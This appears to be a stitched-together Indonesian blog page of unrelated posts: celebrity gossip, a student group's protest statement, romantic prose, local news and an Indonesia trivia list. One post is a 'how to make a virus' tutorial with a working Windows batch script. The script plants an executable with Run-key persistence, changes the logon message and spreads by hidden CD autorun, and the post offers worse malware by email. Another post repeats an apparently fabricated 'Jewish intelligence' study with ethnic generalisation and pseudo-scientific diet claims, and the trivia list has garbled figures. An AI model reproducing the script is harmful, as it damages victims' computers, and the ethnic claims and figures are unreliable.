AWAS COOWOK COWOK DI MALAYSIA INCAR ARTIS ARIS DI INDONESIA

SELANGOR-banyak cowok2 malaysia dan model disana berlomba lomba mengaet artis indon lewat twitter dan yahoo… ternyata mottif mereka cuma hanya sekedar ikut tenar dan ikut kesambet mendadak tenar,dan mendapatkan gonogini artis indon tersebut..lihat saj artis suaminya BCL dia dimalaysia cuma artis kelas menengah,alis belum terlalu terkenal, setelah merayu dan mampu meluluhkan BCL dia di malaysia dan di indonesia namanya mencuap,,, kini peruntungan tersebut di coba di ikuti oleh cowok asal malaysia bernama raja mohammad syazni? belia disana katanya artis dan cucu raja malaysia,, eee….. ternyata cuma sales, beruntung sekali bukan sales kaos kaki yah hahahahhahaa….

Syahrini dengan bangganya mengenalkan pacarnya yang dia sebut sebagai keturunan raja di Malaysia. Namun, banyak orang yang meragukan ucapan Syahrini itu.

Pria bernama Raja Mohamad Syazni Raja Mohamad Rashid, diklaim Syahrini sebagai cucu Sultan Selangor, Malaysia. Pelantun lagu “Bohong” itu pun memuji setinggi langit pria berkepala plontos itu.

Tak lama setelah memamerkan pria yang akrab disapa Bubu itu di depan publik, Syahrini langsung diterpa berita miring. Pria yang dia sebut sebagai kekasih itu, dikabarkan sebagai orang sewaan demi menjaga gengsi Syahrini.

Setelah diterpa pacar sewaan, Bubu kembali menjadi pemberitaan dengan foto-foto mesranya bersama wanita bernama Virta. Pemberitaan miring itu membuat orang makin penasaran siapa sosok Bubu sebenarnya.

Kali ini, mungkin Syahrini tak bisa mengelak lagi. Dalam sebuah forum-forum internet ramai diperbincangkan profil kekasih Syahrini yang ternyata seorang sales emas dan berlian dari sebuah perusahaan Malaysia.

Dalam sebuah situs, Bubu memiliki nama Raja Mohamad Syazni Raja Mohamad Rashid yang sudah bekerja di perusahaan itu sejak bulan Juni 2011 sampai April 2012. Sebagai staf sales marketing, tugas Bubu adalah melakukan penawaran kepada pelanggan untuk membeli emas dalam satu bulan secara angsuran dengan menawarkan potongan khusus.

Ada kabar mengejutkan dari Bubu, kekasih Syahrini. Dalam sebuah situs untuk mempromosikan diri, Bubu ternyata berprofesi sebagai salesman.

Dalam situs people.bayt pria bernama lengkap Raja Mohamad Syazni itu mendeskripsikan dirinya. Dalam situs tersebut, Bubu mengaku sebagai seorang salesman di Perusahaan Supplier Emas dan Perhiasan

Bubu bekerja di perusahaan itu sejak Juni 2011 hingga April 2012. Bubu bekerja di perusahaan Dirham Sdn Bhd Gold Company. Namun ketika dibuka link asli mengenai data Bubu, ternyata telah dihapus.

Sebelumnya, saat menggelar konferensi pers Bubu mengaku seorang pengusaha di Malaysia. Tidak itu saja, dengan banggannya Bubu juga mengatakan kalau ia masih keturunan raja.

“Saya keturunan raja, saya cucu Raja Selangor. Nama saya Raja, jadi tak semua orang di Malaysia bisa pakai nama itu,” jelas Bubu bangga, saat itu.

Entah mana yang benar, apakah Bubu anak keturunan raja yang menjadi sales, atau kabar Bubu seorang salesman hanya rekayasa?

PECAT TIMUR PRADOPO

[JAKARTA] Pengurus Besar Himpunan Mahasiswa Islam (PB HMI) mendesak Presiden Susilo Bambang Yudhoyono (SBY) mencopot Kapolda Nusa Tenggara Barat dan Kapolri Jenderal Timur Pradopo karena gagal menjalankan tugasnya. Keduanya juga harus diminta pertanggungjawaban atas pelanggaran HAM berat yang dilakukan anggota Polri di lapangan.

“Kapolri dan Kapolda harus mengundurkan diri dari jabatannya atas kejadian tersebut,” kata Ketua HMI Noer Fajrieansyah di Jakarta, Senin (26/12) seperti disampaikan dalam rilis yang diterima SP di Jakarta, Selasa (27/12).

Ia mengemukakan, tindakan aparat Kepolisian yang sering kali mengunakan cara-cara represif terhadap setiap aksi yang di lakukan oleh masyarakat, mencerimnkan kegagalan besar pembinaan mental, sikap dan pola pikir anggota Kepolisian.

Fajrieansyah mengemukakan aksi pemblokiran pelabuhan Sape, Kabupaten Bima, NTB yang dilakukan oleh Mahasiswa dan warga bima adalah puncak kemarahan mahasiswa dan warga bima dimana mereka beberapa kali turun kejalan untuk meminta kepada Bupati Bima agar mencabut SK nomer 188/45/357/004 tahun 2010 tentang izin eksplorasi pertambangan PT. Sumber Mineral Nusantara yang dikeluarkan oleh Bupati bima. Namun pihak pemerintah daerah tidak bergeming sedikit pun.

Aksi itupun di sikapi secara membabi buta oleh aparat Kepolisian Polda NTB. Al hasil, tindakan biadab dengan cara menembak para demonstran, mengakibatkan beberapa pendemo, yang terdiri dari beberapa aktivis mahasiswa dan masyarakat harus merenggut nyawa, dan terbaring kritis di Rumah Sakit Daerah Kota Bima.

“Jika kita merunut satu per satu kejadian Pelanggaran HAM berat yang di lakukan oleh aparat kepolisian di Indonesia. Maka Peristiwa Penembakan yang terjadi di Bima, Nusa Tenggara Barat merupakan satu dari sekian kasus yang menunjukan Aparat kepolisian sudah tidak bisa lagi bekerja secara Profesional, yang sesuai dengan semangat Reformasi Kepolisian. Tindakan aparat Kepolisian yang sering kali mengunakan cara-cara represif terhadap setiap aksi yang di lakukan oleh masyarakat, mencerimnkan kegagalan besar pembinaan mental, sikap dan pola pikir anggota Kepolisian. Harusnya Kapolri sebagai pemimpin kepolisian tertinggi di Indonesia, Bertanggung jawab terhadap sikap bobrok anak buahnya tersebut,” ujarnya.

Ia mengemukakan, PB HMI menduga telah terjadi pergeseran nilai dan disorientasi peran kepolisian sebagai pengayom, pelindung masyarakat. Perubahan nilai dan Orientasi tersebut disebabkan karena sikap aparat Kepolisian yang lebih memilih melindungi, mengamankan dan menjaga asset atau wilayah pertambangan para Investor ketimbangan melindungi Rakyat yang menjadi korban kejahatan Eksplorasi Pertambangan perusahan.
Olehnya itu PB HMI meminta supaya mengusut tuntas Semua Pihak yang terlibat dalam aksi penembakan yang mengakibatkan korban jiwa dari mahasiswa dan masyarakat.

HMI juga meminta Presiden agar segera mengevaluasi Bupati Kabupaten Bima atas pemberian izin Eksplorasi Pertambangan Mangan PT. Sumber Mineral Nusantara, yang terindikasi merugikan dan mematikan lahan pertanian rakyat Bima, NTB.

TEMUI SAYA MALAM INI

Kamu bisa temui saya malam ini? Saya ingin bicara.

Tidak. Kali ini percuma kita keukeuh mencari bintang di langit Jakarta, kelak akan saya ajak kamu mengunjungi kota saya dan kita akan melihat kerlipan bintang dari bawah langit kota saya. Tentunya bukan untuk menghitung berapa banyaknya jumlah bintang di langit sana, tapi untuk membiarkan kerlipan gemintang itu menemani obrolan syahdu kita.

Bisa temui saya malam ini? Selepas saya kerja.

Saya ingin mengatakan sesuatu. Sesuatu agar kesalahpahaman menjadi sirna di antara kita. Sesuatu yang mungkin selama ini hanya mampu tersimpan di tempurung otak saya yang keras ini, yang lalu disebut orang sebagai ‘keras kepala’.

Bisa temui saya malam ini? Di tempat yang menurutmu memiliki kenangannya.

Ya. Saya ingin berbicara padamu. Duduk bersebelahan denganmu. Pertama-tama biarkan saya melahap makanan saya dulu. Kamu pasti sudah hafal segimana maruknya saya sama makanan. Saya gak akan membiarkannya terlantar begitu lama. Setelah makanan saya habis. Setelah makanan porsi kecilmu juga sudah habis, mari kita lanjutkan dengan menikmati es krim sesendok demi sesendok sambil berbicara. Ya, dalam setiap suapan sendok eskrim ada hal yang ingin aku katakan padamu. Tentang aku. Agar kelak tidak ada lagi kesalahpahaman.

Bisa temu saya malam ini? Maaf bila membuat harimu menjadi begitu lelah karena harus menempuh jarak yang jauh .

Sebagai balasannya kamu boleh menyenderkan kepalamu di pundak saya. Nanti juga akan saya genggam tanganmu. Untuk mengalirkan rasa hangat dan nyaman yang biasa kamu transfer ke saya. Biarkan kepalamu terjatuh lemah di pundak saya. Biarkan sesekali saya memanjakan kamu yang telah begitu menyayangi saya. Biarkan rasa lelahmu tumpah pada saya. Gak. Jangan takut kepalamu terasa berat di pundak saya. Itu gak berat. Sama sekali tidak.

Temuilah saya malam ini. Malam yang semakin sedikit tersisa untuk kita habiskan bersama

rahasia bangsa yahudi

Rahasia Cerdasnya Bangsa Yahudi

Rahasia Kecerdasan Orang YAHUDI
1. Artikel Dr Stephen Carr Leon tentang Thesis Phd-nya yang dibuatnya menurut pengamatannya selama 8 tahun di Israel.
2. Seminar Quantum Life Transformation yang saya ikuti dengan pembicara Adi W Gunawan.
( #1 The Re-Educator & Mind Navigator ).
3. Buku di Gramedia yang menguak tentang kebusukan bangsa Yahudi.
4. Buku Born To Be Genius.
5. Pembicara Ibu Roesmiati Soepandji di seminar QLT juga ( Ibu dari Jaksa Agung yang sekarang ; Hendarman Soepandji )

Okeh kita mulai !

Dr Stephen Carr Leon menghabiskan masa 3 tahun di Israel untuk menjalani housemanship di beberapa rumah sakit disana.

Dirinya melihat ada beberapa hal yang menarik yang dapat ditarik sebagai bahan tesisnya, yaitu, “ Mengapa Yahudi Pintar? ”

Ketika tahun kedua, akhir bulan Desember 1980, Stephen sedang menghitung hari untuk pulang ke California, terlintas di benaknya, apa sebabnya Yahudi begitu pintar?

Kenapa Tuhan memberi kelebihan kepada mereka? Apakah ini suatu kebetulan? Atau hasil usaha sendiri? ( pertanyaan yang sama dalam benak saya, kenapa setiap orang sukses tak lepas dari bangsa Yahudi lagi bangsa Yahudi lagi ! )

Maka Stephen tergerak membuat tesis untuk Phd-nya.

Dengan tekadnya yang bulat maka dimulailah pengamatannya itu.

Masa Kehamilan sang ibu :

Begitu wanita Israel yang mengetahui bahwa dirinya tengah mengandung anak, maka langsung sang ibu tersebut sering bernyanyi dan bermain piano dan juga membeli buku matematika.

Bermain piano dan bernyanyi bertujuan untuk mempengaruhi suasana hati bawaan si bayi tersebut ketika lahir. Dengan bernyanyi dan bermain piano,maka sang ibu akan merasakan ketenangan.

Diharapkan sang bayi akan memiliki karakter bawaan yang tenang dan berfikir matang ketika menghadapi masalah hidup nantinya.

Sedangkan mengerjakan soal matematika bertujuan untuk mengembangkan kecerdasan otak bayi yang ada dalam kandungannya.

Agar anak mereka terkahir dengan otak jenius.
Dan para ibu Yahudi yang tengah mengandung, terus menerus mengerjakan soal matematika yang ada sampai tiba saat melahirkan. Kadang mereka mengerjakan bersama suaminya dan bertanya kepada saudara-saudaranya bila ada soal yang terasa sulit.

Artinya…mereka tidak melatih kecerdasan otak anak mereka dari kecil, dari balita, dari umur 3 bulan, tapi dari sejak di dalam kandungan !

Sebuah perencanaan yang dalam sekali !

Cara makan :
Sejak awal mengandung dia suka sekali memakan kacang badam dan korma bersama susu. Tengah hari makanan utamanya roti dan ikan tanpa kepala (sekali lagi, tanpa kepala!) bersama salad yang dicampur dengan badam dan berbagai jenis kacang-kacangan.

Menurut wanita Yahudi itu, daging ikan sungguh baik untuk perkembangan otak dan kepala ikan mengandungi kimia yang tidak baik yang dapat merusak perkembangan dan penumbuhan otak anak didalam kandungan.

Sama seperti kebiasaan orang Jepang yang jenius juga dalam kerajinan memakan daging ikan )
Ini adalah adat orang orang Yahudi ketika mengandung. Menjadi semacam kewajiban untuk ibu yang sedang mengandung mengonsumsi pil minyak ikan.

Ketika diundang untuk makan malam bersama orang orang Yahudi. Begitu Stephen menceritakan, “Perhatian utama saya adalah menu mereka. Pada setiap undangan yang sama saya perhatikan, mereka gemar sekali memakan ikan (hanya isi atau fillet),” ungkapnya.

Biasanya kalau sudah ada ikan, tidak ada daging. Ikan dan daging tidak ada bersama di satu meja. Menurut keluarga Yahudi, campuran daging dan ikan tak bagus dimakan bersama. Salad dan kacang, harus, terutama kacang badam.

Perinsip : “ kalau sudah makan ikan, tidak boleh ada daging yang dimakan bersamaan “ ternyata sama dengan perinsip makannya Rasullullah S.A.W, manusia terjarang sakit sedunia )

Mereka juga akan makan buah-buahan dahulu sebelum hidangan utama. Jangan terperanjat jika Anda diundang ke rumah Yahudi Anda akan dihidangkan buah-buahan dahulu. Menurut mereka, dengan memakan hidangan kabohidrat (nasi atau roti) dahulu kemudian buah buahan, ini akan menyebabkan kita merasa ngantuk.

Akibatnya lemah dan payah untuk memahami pelajaran di sekolah.
Ternyata makan buah dahulu baru nasi, akan menyebabkan buah busuk. Karena proses pencernaan makanan di dalam perut kita itu memakan waktu yang lama. Sehingga akan membuat buah mengalami antrian yang panjang sampai akhirnya dia keburu busuk duluan.

( Pernah membiarkan apel yang sudah terkelupas khan ? lama-lama akan kuning dan bisa membusuk khan ? itu hanya didiamkan dan terkena udara loh…bagaimana kalau dicampur olahan makanan di dalam perut kita ? Sudah pasti busuk duluan sebelum dapat diproses. Jadi istilah “makan buah setelah makan nasi” sebagai pencuci mulut itu SALAH. Makan buah sebelum makan nasilah yang benar, bukan setelah makan nasi. Percuma. )

Anak-Anak Yahudi :
Perhatian Stephen selanjutnya adalah mengunjungi anak-anak Yahudi. Mereka sangat memperhatikan makanan, makanan awal adalah buah buahan bersama kacang badam, diikuti dengan menelan pil minyak ikan (code oil lever).

Kacang Badam = Kacang Almond, atau Buah Almond, mirip dengan Buah Persik dan Aprikot, hanya saja daging buahnya dibuang saat dipanen, sehingga hanya menyisakan bijinya, karena itu disebut sebagai kacang.

Dalam pengamatan Stephen, anak-anak Yahudi sungguh cerdas. Rata-rata mereka memahami tiga bahasa: Hebrew, Arab dan Inggris.
( Ternyata mempelajari sesuatu yang baru itu menyeimbangkan kedua belah otak kita. Contohnya ya seperti mempelajari bahasa yang berbeda – beda )

Sejak kecil pula mereka telah dilatih bermain piano dan biola. Ini adalah suatu kewajiban.
Menurut mereka bermain musik dan memahami not dapat meningkatkan IQ. Sudah tentu bakal menjadikan anak pintar.

Ini menurut saintis Yahudi, hentakan musik dapat merangsang otak. Tak heran banyak pakar musik dari kaum Yahudi.

Musik yang mereka dengarkan ya musik yang bisa menambahkan kecerdasan otak mereka. Yaitu musik yang lagak-lagak bethoven gitu deh.
( Ternyata sesuai dengan yang dikatakan Adi W Gunawan di buku Born To BE Genius )

Masa kanak-kanak :
Seterusnya di kelas 1 hingga 6, anak anak Yahudi akan diajar matematika berbasis perniagaan. Pelajaran IPA sangat diutamakan. Di dalam pengamatan Stephen, “Perbandingan dengan anak anak di California, dalam tingkat IQ-nya bisa saya katakan 6 tahun kebelakang!” katanya.
Segala pelajaran akan dengan mudah di tangkap oleh anak Yahudi. Selain dari pelajaran tadi, olahraga juga menjadi kewajiban bagi mereka.

Olahraga yang diutamakan adalah memanah, menembak dan berlari.
Menurut teman Yahudi-nya Stephen, memanah dan menembak dapat melatih otak fokus. Disamping itu menembak bagian dari persiapan untuk membela negara.

Saya pernah membaca buku ( saya lupa judulnya ) yang mengatakan : kalau anak-anak yang jago dalam hal olahraga, biasanya mereka mempunyai kemampuan mengambil keputusan yang cepat, karena otak mereka terlatih bergerak cepat, terlepas dari bagus atau tidaknya prestasi mereka disekolah.

Sekolah Tinggi :
Di sini murid-murid digojlok dengan pelajaran sains. Mereka didorong untuk menciptakan produk. Meski proyek mereka kadangkala kelihatannya lucu dan memboroskan, tetap diteliti dengan serius.
Apalagi kalau yang diteliti itu berupa senjata, medis dan teknik. Ide itu akan dibawa ke jenjang lebih tinggi.

Satu lagi yg diberi keutamaan ialah fakultas ekonomi. Dr Stephen Carr Leon sungguh terperanjat melihat mereka begitu agresif dan seriusnya mereka belajar ekonomi.

Di akhir tahun diuniversitas, mahasiswa diharuskan mengerjakan proyek. Dam mereka harus mempraktekannya.

Anda hanya akan lulus jika tim Anda (10 pelajar setiap kumpulan) dapat keuntungan sebanyak $US 1 juta!
Anda terperanjat?

Itulah kenyataannya. Entrpreneurship dan networking digelorakan.

Oh iya…

Merokok bagi mereka adalah sesuatu yang tabu.

Bila Anda diundang makan di rumah Yahudi, jangan sekali kali merokok. Tanpa sungkan mereka akan menyuruh Anda keluar dari rumah mereka. Menyuruh Anda merokok di luar rumah mereka.
Menurut ilmuwan Israel, penelitian menunjukkan nikotin dapat merusakkan sel utama pada otak manusia dan akan melekat pada gen. Artinya, keturunan perokok bakal membawa generasi yang cacat otak ( bodoh). Suatu penemuan dari saintis gen dan DNA Israel.

Jadi merokok merupakan sesuatu yang kejam dan menjijikan bagi orang Israel ! Perbuatan terkutuk dan kejam bagi mereka mungkin. Karena bukan saja merusak gen untuk keturunannya, tapi juga merusak gen orang-orang yang ikut menghirupnya.
Mari kita bersama-sama simpulkan kenapa bangsa Yahudi bisa sangat amat sangat cerdas sehingga bisa menguasai dunia, baik dari segi kepintaran, teknologi, maupun perekonomian.

1. Melahirkan anak dan keturunan yang cerdas adalah keharusan. Tentunya bukan perkara yang bisa diselesaikan semalaman. Perlu proses dan ketekunan dalam membina generasi penerus.
( kesimpulan Dr Stephen Carr Leon)

2. Para orang tua bangsa Yahudi mengerti bahwa melatih anak menjadi cerdas, bukan saat anak mereka umur belasan tahun ataupun masih kecil, tapi saat anak mereka masih di dalam kandungan ! Mereka mengerti baik karakter dan kepintaran anak, tergantung dari aktivitas apa yang para ibu lakukan sewaktu mengandung anak tersebut.
( Ini kesimpulan saya dari perkataan Ibu Roesmiati Soepandji )

3. Mereka mengharamkan rokok !!!

Dan inilah peraih Nobel dari berbagai ilmu yang semuanya adalah ” Yahudi “

Literatur

1910 – Paul Heyse
1927 – Henri Bergson
1958 – Boris Pasternak
1966 – Shmuel Yosef Agnon
1966 – Nelly Sachs
1976 – Saul Bellow
1978 – Isaac Bashevis Singer
1981 – Elias Canetti
1987 – Joseph Brodsky
1991 – Nadine Gordimer
2002 – Imre Kertesz
2005 – Harold Pinter

Kedamaian Dunia

1911 – Alfred Fried
1911 – Tobias Asser
1968 – Rene Cassin
1973 – Henry Kissinger
1978 – Menachem Begin
1986 – Elie Wiesel
1994 – Shimon Peres
1994 – Yitzhak Rabin
1995 – Joseph Rotblat

Kimia

1905 – Adolph Von Baeyer
1906 – Henri Moissan
1910 – Otto Wallach
1915 – Richard Willstaetter
1918 – Fritz Haber
1943 – George Charles de Hevesy
1961 – Melvin Calvin
1962 – Max Ferdinand Perutz
1972 – William Howard Stein
1972 – C.B. Anfinsen
1977 – Ilya Prigogine
1979 – Herbert Charles Brown
1980 – Paul Berg
1980 – Walter Gilbert
1981 – Ronald Hoffmann
1982 – Aaron Klug
1985 – Herbert A. Hauptman
1985 – Jerome Karle
1986 – Dudley R. Herschbach
1988 – Robert Huber
1989 – Sidney Altman
1992 – Rudolph Marcus
1998 – Walter Kohn
2000 – Alan J. Heeger
2004 – Irwin Rose
2004 – Avram Hershko
2004 – Aaron Ciechanover

Ekonomi

1970 – Paul Anthony Samuelson
1971 – Simon Kuznets
1972 – Kenneth Joseph Arrow
1973 – Wassily Leontief
1975 – Leonid Kantorovich
1976 – Milton Friedman
1978 – Herbert A. Simon
1980 – Lawrence Robert Klein
1985 – Franco Modigliani
1987 – Robert M. Solow
1990 – Harry Markowitz
1990 – Merton Miller
1992 – Gary Becker
1993 Rober Fogel
1994 – John Harsanyi
1994 – Reinhard Selten
1997 – Robert Merton
1997 – Myron Scholes
2001 – George Akerlof
2001 – Joseph Stiglitz
2002 – Daniel Kahneman
2005 – Robert J. Aumann

Medis

1908 – Elie Metchnikoff
1908 – Paul Erlich
1914 – Robert Barany
1922 – Otto Meyerhof
1930 – Karl Landsteiner
1931 – Otto Warburg
1936 – Otto Loewi
1944 – Joseph Erlanger
1944 – Herbert Spencer Gasser
1945 – Ernst Boris Chain
1946 – Hermann Joseph Muller
1950 – Tadeus Reichstein
1952 – Selman Abraham Waksman
1953 – Hans Krebs
1953 – Fritz Albert Lipmann
1958 – Joshua Lederberg
1959 – Arthur Kornberg
1964 – Konrad Bloch
1965 – Francois Jacob
1965 – Andre Lwoff
1967 – George Wald
1968 – Marshall W. Nirenberg
1969 – Salvador Luria
1970 – Julius Axelrod
1970 – Sir Bernard Katz
1972 – Gerald Maurice Edelman
1975 – David Baltimore
1975 – Howard Martin Temin
1976 – Baruch S. Blumberg
1977 – Rosalyn Sussman Yalow
1977 – Andrew V. Schally
1978 – Daniel Nathans
1980 – Baruj Benacerraf
1984 – Cesar Milstein
1985 – Michael Stuart Brown
1985 – Joseph L. Goldstein
1986 – Stanley Cohen [& Rita Levi-Montalcini]
1988 – Gertrude Elion
1989 – Harold Varmus
1991 – Erwin Neher
1991 – Bert Sakmann
1993 – Richard J. Roberts
1993 – Phillip Sharp
1994 – Alfred Gilman
1994 – Martin Rodbell
1995 – Edward B. Lewis
1997 – Stanley B. Prusiner
1998 – Robert F. Furchgott
2000 – Eric R. Kandel
2002 – Sydney Brenner
2002 – Robert H. Horvitz

Fisika

1907 – Albert Abraham Michelson
1908 – Gabriel Lippmann
1921 – Albert Einstein
1922 – Niels Bohr
1925 – James Franck
1925 – Gustav Hertz
1943 – Gustav Stern
1944 – Isidor Issac Rabi
1945 – Wolfgang Pauli
1952 – Felix Bloch
1954 – Max Born
1958 – Igor Tamm
1958 – Il’ja Mikhailovich
1958 – Igor Yevgenyevich
1959 – Emilio Segre
1960 – Donald A. Glaser
1961 – Robert Hofstadter
1962 – Lev Davidovich Landau
1963 – Eugene P. Wigner
1965 – Richard Phillips Feynman
1965 – Julian Schwinger
1967 – Hans Albrecht Bethe
1969 – Murray Gell-Mann
1971 – Dennis Gabor
1972 – Leon N. Cooper
1973 – Brian David Josephson
1975 – Benjamin Mottleson
1976 – Burton Richter
1978 – Arno Allan Penzias
1978 – Peter L Kapitza
1979 – Stephen Weinberg
1979 – Sheldon Glashow
1988 – Leon Lederman
1988 – Melvin Schwartz
1988 – Jack Steinberger
1990 – Jerome Friedman
1992 – Georges Charpak
1995 – Martin Perl
1995 – Frederick Reines
1996 – David M. Lee
1996 – Douglas D. Osheroff
1997 – Claude Cohen-Tannoudji
2000 – Zhores I. Alferov
2003 – Vitaly Ginsburg
2003 – Alexei Abrikosov

Source : Rahasia Cerdasnya Bangsa Yahudi | i Post http://muhaarya.blogspot.com/2012/05/rahasia-cerdasnya-bangsa-yahudi.html#ixzz1wHIVqfPu

cara membuat virus,boleh di coba

Saya tidak akan memberikan virus yang berbahaya seperti yang saya perlihatkan dalam video editing..
Karena virus yang saya buat dalam video editing effectnya cukup lumayan. (bisa langsung ke windows)..
Gak tega jiga Pc agan-agan rusak karena virus tersebut..

jadi saya sekarang hanya akan memberikan virus yang gk terlalu berbahaya..
tapi jika kalian ingin virus yang berbahaya, silakan kirim pesan ke r.nakpd@gmail.com…

! ini untuk pembelajaran bukan untuk merugikan orang lain!!!
ni virus efeknya g t’lalu bahaya….efek dari virus ini cuman mengganti tampilan dari
windows…..tapi cukup bikin kaget juga!!! :D :D tapi yg penting gak ke-detect ama anti virus(setahu saya….. :?: :?: )

ni ane dapet dari hasil baca-baca “HELP”-nya windows Xp…trus ane modif sendiri… 8) 8)

note: idea.gif “HANYA BEKERJA PADA WINDOWS XP” idea.gif

caranya:
– buka notepad lalu tulis(atau copy paste…tapi di edit dulu yaaa… :lol: ) script di bawah ini:

@echo off
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\system32\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
%systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe /f
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000(atau kombinasi warna RGB lain,cari pake Adobe Photoshop) /f

- lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
– buat Autorun.inf dengan script:

[autorun]
open=nama_file.bat

- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
– file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
– copy file-file tsb ke CD
– nikmati efeknya

maraknya tempat mesum di bandungan semarang

Tempat Hiburan Ilegal Marak Di Bandungan 5 Sedikitnya 40 tempat hiburan di Bandungan, Kabupaten Semarang, tidak mengantongi izin usaha. Jika dalam waktu 14 hari kedepan para pemilik usaha tidak melengkapi izin, pemkab Semarang akan menutup tempat hiburan itu. Kepala satpol PP Kabupaten Semarang, Muh Risun mengatakan, pihaknya sudah memanggil sejumlah pemilik usaha tempat hiburan yang bermasalah itu. “Kami beri waktu selama 14 hari untuk segera melengkapi perizinan. Jika dalam jangka waktu itu tetap tidak diurus, kami akan menutupnya,” kata Risun. Dikatakannya, sejumlah usaha tempat hiburan yang izinnya bermasalah tersebut meliputi, panti mandi uap, karaoke dan pendrian hotel. “Rata – rata, usaha tempat hiburan itu tidak memiliki izin usaha,” ujarnya. Data dari Kantor Penanaman Modal dan Pelayanan Terpadu (KPMPT) Kabupaten Semarang menunjukkan, setidaknya ada delapan perizinan yang harus dipenuhi para pengusaha untuk mendirikan tempat hiburan. Delapan izin tersebut meliputi, izin gangguan, izin mendirikan bangunan (IMB), surat izin usaha perdagangan (SIUP), tanda daftar perusahaan (TDP), izin usaha, izin reklame, izin air bawah tanah (ABT), dan izin rumah makan bagi tempat hiburan yang menyediakan fasilitas rumah makan. Salah satu pengusaha hotel di Bandungan, Sukamto mengatakan, sebenarnya para pengusaha tidak keberatan untuk mengurus izin. Namun menurutnya, selama ini proses pengurusan izin bagi pengusaha hiburan terkesan dipersulit. Untuk itu, dia meminta pemerintah untuk mempermudah proses pengurusan izin. “Para pengusaha tidak pernah mempermasalahkan besarnya biaya perizinan, asalkan prosesnya berjalan lancar sesuai aturan,” katanya. SEBARKAN ARTIKEL INI DI FACEBOOK ATAU DI TWITTER – AGAR TEMAN KAMU BACA ARTIKEL INI..!!! Reviewer:tri Suwito – ItemReviewed: Tempat Hiburan Ilegal Marak Di Bandungan

DEMOKRAT TAK ADA PILIHAN

Wacana kemungkinan dimajukannya Ani Yudhoyono sebagai calon presiden Partai Demokrat untuk Pemilu 2014 mengundang komentar dari berbagai kalangan. Kemunculan nama Ani sebagai bakal capres bahkan dinilai wajar dan natural.

“Demokrat tidak ada pilihan figur lagi yang relatif bersih dan acceptable dan dapat merebut hati orang. Tidak dosa juga kalau Ani terpilih,” kata budayawan Radhar Panca Dahana di Warung Daun Cikini, Jakarta, Sabtu, 19 Mei 2012.
Ia berpendapat, kader-kader Demokrat lain di luar Ani Yudhoyono cenderung tidak dipercaya publik karena banyaknya kasus hukum yang kerap dikaitkan dengan sejumlah kader Demokrat.

Oleh karena itu, ujar Radhar, wajar bila Demokrat memunculkan nama lain di luar kader untuk menjadi calon presiden 2014. “SBY sendiri sudah janji tidak akan mencalonkan keluarganya. Tapi kemungkinan hal ini bisa berubah di 2014. Kita lihat saja nanti,” kata dia.

Sebelumnya Juru Bicara Partai Demokrat, Andi Nurpati, menyatakan Ani Yudhoyono layak dan berpeluang untuk menjadi capres 2014. Nama Ani sebagai capres pun menurutnya akan diusung dalam rapat Majelis Tinggi Partai Demokrat.

“Ibu Ani Yudhoyono punya kualifikasi untuk diusulkan menjadi capres Partai Demokrat. Ia kader Partai Demokrat, mantan Wakil Ketua Umum Partai Demokrat, pendiri partai Demokrat, dua periode mendampingi Pak SBY sebagai presiden, dan mempunyai banyak kemampuan,” kata Nurpati.

KEKAYAAN ALAM INDONESIA

Sebagai warga negara Indonesia kita harus bangga karena Indonesia memiliki banyak kelebihan jika dibandingkan dengan negara lain. Berikut ini 10 daftar rekor yang dimiliki oleh negara ini.
1. Republik Indonesia merupakan Negara kepulauan terbesar di dunia yang terdiri dari 17.504 pulau, termasuk 9.634 pulau yang belum diberi nama dan 6.000 pulau yang tidak berpenghuni.

Indonesia
2. Indonesia memiliki 3 dari 6 pulau terbesar didunia, yaitu Pulau Kalimantan (pulau terbesar ketiga di dunia dgn luas 539.460 km2), Pulau Sumatera (473.606 km2) dan Pulau Papua (421.981 km2)

Pulan Kecil
3. Indonesia adalah Negara maritim terbesar di dunia dengan perairan seluas 93 ribu km2 dan panjang pantai sekitar 81 ribu km2 atau hampir 25% panjang pantai di dunia.

Laut
4. Indonesia merupakan Negara dengan suku bangsa yang terbanyak di dunia. Terdapat lebih dari 740 suku bangsa/etnis, dimana di Papua saja terdapat 270 suku. Menggunakan 583 bahasa dan dialek dari 67 bahasa induk yang digunakan berbagai suku bangsa tersebut

Suku Suku Indonesia
5. Indonesia adalah penghasil gas alam cair (LNG) terbesar di dunia (20% dari suplai seluruh dunia) juga produsen timah terbesar kedua.

LNG
6. Indonesia memiliki Terumbu Karang (Coral Reef) terkaya di dunia (18% dari total dunia) dan memiliki species ikan hiu terbanyak di dunia (150 species).

Terumbu Karang
